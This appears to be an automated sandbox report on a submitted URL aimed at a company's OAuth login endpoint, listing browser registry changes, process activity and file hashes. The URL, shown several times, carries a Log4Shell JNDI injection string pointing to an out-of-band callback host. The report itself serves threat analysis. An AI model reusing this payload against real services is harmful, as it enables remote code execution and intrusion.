hxxp://PUBLICSTORAGE[.]COM/myaccount/identity/connect/authorize?client_id=ps[.]website[.]external[.]client[.]local&redirect_uri=hxxps://www[.]publicstorage[.]com&response_mode=${jndi[:]ldap[://]514cz0sjptvokcxl4ypzyzly3p9fx4[.]oastify[.]com/a}&response_type=id_tokentoken&scope=openidprofileps[.]website[.]resource[.]default&state=openidconnect[.]authenticationproperties=vhz6lk1nukbhq67qltln6jvl7-qwiz3ellvvk61brr5_kcv_irm3jajyg0qygq_ar6biqd8d-q7unsrakiousyulb6aykuc4achyyibqq9hqrxhkdnunc1thl5qku5wfyhfzofc9v32scloovp5v6vz04syge3wsezkvm3by2gahvgivzylt9qgh9srza6vg9yylg2dpqo1y_ydfcyy6q5q4pxpaoegbh2pk1mhaeehb6kby1kgwqvxiz0-ydayzmg4znbsmklaost1gt4fuopb3tmurfrq7yshvd0utxz-enlirljufbmx-csgwx4kky3z8hm_evsfwtzuxfqwmlq&nonce=638024130977957441[.]zmzkody2zgqty2u3yi00njrmlthjntutotizy2uzzdlhogniowu5owi3mtutotewzs00mdnjlweyzdctnduwyji0mjrlodu1&acr_values=employeeid[:]-15&x-client-sku=id_net&x-client-ver=1[.]0[.]40306[.]15

Analysis

max time kernel
147s
max time network
155s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
29/10/2022, 01:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://PUBLICSTORAGE.COM/myaccount/identity/connect/authorize?client_id=ps.website.external.client.local&redirect_uri=https://www.publicstorage.com&response_mode=${jndi:ldap://514cz0sjptvokcxl4ypzyzly3p9fx4.oastify.com/a}&response_type=id_tokentoken&scope=openidprofileps.website.resource.default&state=openidconnect.authenticationproperties=vhz6lk1nukbhq67qltln6jvl7-qwiz3ellvvk61brr5_kcv_irm3jajyg0qygq_ar6biqd8d-q7unsrakiousyulb6aykuc4achyyibqq9hqrxhkdnunc1thl5qku5wfyhfzofc9v32scloovp5v6vz04syge3wsezkvm3by2gahvgivzylt9qgh9srza6vg9yylg2dpqo1y_ydfcyy6q5q4pxpaoegbh2pk1mhaeehb6kby1kgwqvxiz0-ydayzmg4znbsmklaost1gt4fuopb3tmurfrq7yshvd0utxz-enlirljufbmx-csgwx4kky3z8hm_evsfwtzuxfqwmlq&nonce=638024130977957441.zmzkody2zgqty2u3yi00njrmlthjntutotizy2uzzdlhogniowu5owi3mtutotewzs00mdnjlweyzdctnduwyji0mjrlodu1&acr_values=employeeid:-15&x-client-sku=id_net&x-client-ver=1.0.40306.15

Score

1^/10

Malware Config

Signatures

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{360822B1-5726-11ED-A920-7ADB5DB493F4} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000048ca5449a4d21846ba8a995ea0abd35a000000000200000000001066000000010000200000004af2d754a2d536b2935d7ca9f2724ae6fcf05e5c92f5ef0e1e0a3950ea7ff2b1000000000e8000000002000020000000996c516964aac49c85aeeebc1f3cab7ec8641501c761cbb5a81cc894df5bd6e290000000fc4035955534dfb53f6687757235da92d3a4c25947451ce7f00ce9dca8475fe542f360f6c14cf6786c2b3be5d74aee9e661d9c22fed6c70ff114e6c7c170acac3b7da1c55381b5edcc0bfeb4e7e4c15ef21377afd50eaf6d9b12caac385a5ca64e426c4f8f02172bca759b7c5ac5461ca5d4b3711e64c97c7878cad18e0ab79bfa57b8d9ce9ac22f33553eaf9c22d2a8400000001775c589312f7a4c02b73907b45e5e7a5c72b0b0f5b8346be64ce95a768e727ad8b11aa6c12d85db0eacf4d12e52cc8e59c2c51e25bb4598e64d3512577cb2c7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Zoom\ZoomFactor = "80000"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0b96c1033ebd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Zoom	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000048ca5449a4d21846ba8a995ea0abd35a00000000020000000000106600000001000020000000990ba462f1eea304053315436ec56b87fdf495a7187f2eddb6fc862446949319000000000e80000000020000200000006a85f82c80f83fc99bf77390a8b3a9c51ac0b7ceb25913c17b9952b2a538d222200000005ddb17e04ad35d5568345a8ae725c39b84ebaa1f0ed67a15a6ef672c58a7e9e940000000e5e460df0f5e27048952bd61245ce1b5faa85e2a267f8699515281557f3fccb147656fc9838ce17bcab68d8f95613df6d93fa1cacd777defaaf916798e659820	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "373770690"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1104	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1104	iexplore.exe
1104	iexplore.exe
856	IEXPLORE.EXE
856	IEXPLORE.EXE
856	IEXPLORE.EXE
856	IEXPLORE.EXE
1104	iexplore.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 856	1104	iexplore.exe	28
PID 1104 wrote to memory of 856	1104	iexplore.exe	28
PID 1104 wrote to memory of 856	1104	iexplore.exe	28
PID 1104 wrote to memory of 856	1104	iexplore.exe	28

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://PUBLICSTORAGE.COM/myaccount/identity/connect/authorize?client_id=ps.website.external.client.local&redirect_uri=https://www.publicstorage.com&response_mode=${jndi:ldap://514cz0sjptvokcxl4ypzyzly3p9fx4.oastify.com/a}&response_type=id_tokentoken&scope=openidprofileps.website.resource.default&state=openidconnect.authenticationproperties=vhz6lk1nukbhq67qltln6jvl7-qwiz3ellvvk61brr5_kcv_irm3jajyg0qygq_ar6biqd8d-q7unsrakiousyulb6aykuc4achyyibqq9hqrxhkdnunc1thl5qku5wfyhfzofc9v32scloovp5v6vz04syge3wsezkvm3by2gahvgivzylt9qgh9srza6vg9yylg2dpqo1y_ydfcyy6q5q4pxpaoegbh2pk1mhaeehb6kby1kgwqvxiz0-ydayzmg4znbsmklaost1gt4fuopb3tmurfrq7yshvd0utxz-enlirljufbmx-csgwx4kky3z8hm_evsfwtzuxfqwmlq&nonce=638024130977957441.zmzkody2zgqty2u3yi00njrmlthjntutotizy2uzzdlhogniowu5owi3mtutotewzs00mdnjlweyzdctnduwyji0mjrlodu1&acr_values=employeeid:-15&x-client-sku=id_net&x-client-ver=1.0.40306.15
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1104 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442

Filesize
1KB

MD5
89faa4131e0e314a2a8a17045cd6278b

SHA1
39b77d3ba6ec3b13695cbc7d544e7a7e20417057

SHA256
7c6a61dc49b002c0593f17459453dd793042601ae51905c85540ed6f3d5e75ee

SHA512
310e433e2d3406e919b6884f695c90a121234d76b275efa3d5f7c9f42e5ea53fb7b88eff0f10df4bae43f2a41f9f76213b8448761c92e6e50ed2567ea5e14488

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_1DC6D7385EA816C957BA2B715AC5C442

Filesize
446B

MD5
99ddb4271347f83fa0434b12580d91a8

SHA1
5e2db41075677061f1c0f1776ad27b3de76ef2cb

SHA256
dccf364bfa3daac6031dc928a8221f31dc77e7c4537e853bc6e4975d555c2d4c

SHA512
2f4a591a7dfcd77a82877e2fda17aef0f3b0ef0faf88a4dd16b80d91cf91b8ab9a80a532973d5414d672330812c3d6eeece4f1ebb9f504b3c6ff93c023a73a8a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1ee6d646e028998731f17e37b6109942

SHA1
6bb4a9bde8cc14d39b17c9b86eee477d121e65f6

SHA256
7fc140455ea9a3323d381219f6fe0b2906a910887a239d531c257332ca15575f

SHA512
034fd47496144f6dea7d422af3d97d1434092c2ffe62813c1963e59aa8c746a40d2f5a559cf52745397e820442177c37bcdc989624abd2c3c4d496fef86d9101

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\309axvf\imagestore.dat

Filesize
8KB

MD5
c212b34972cffea14dd0ebfccc438748

SHA1
7ae4523aa9ffe2dc274b4f55f86abd4355b78604

SHA256
d9a9a27342f74575f18e47a8d0b7e19449cfddbce417cfacef041415820f7c4d

SHA512
b4cb0d871892d4b59ea7434fe68008fb9797ee4299c683536d734dae0f38df10cac5905abd9253ddfc84f7527b2c0c1e10b71bb94ca46b95ee4d66d34a15772a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\309axvf\imagestore.dat

Filesize
12KB

MD5
f2231980c347161044a367feceef76a2

SHA1
fab70acbcccb3c0eb36ed166ec4b2a4078cecbd8

SHA256
74aea6bfa275dcc79ee4bed5ac99a629f04de31f245ed8f6721059db6a82c47b

SHA512
1a020b9b53941d59362e48f68f25e00066911b70f93b102b9881795a17ceeee4e1b71ea21d251f179a04cec08aeb37860c4fa9d50c560762d04ed2354ccad693

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\45FW34N6.txt

Filesize
603B

MD5
64bcfa2d8a8f62894ca99e8ebe06c093

SHA1
976b589cbb1d93ec7880cd27a58bd6db76e40a9c

SHA256
76ec17032500a88239e91f9ae2094d0ca1cf147c149b0265b9ee902ec5eb6e96

SHA512
0a2d1f1e3a03147afd550837450a4407d735371b74dfbd4d9fba5a80aaac3ad6151b10a83bc4b380d71a6e2e2ea0a9a661589ab714537caad4a203a43806c37c

Download Submit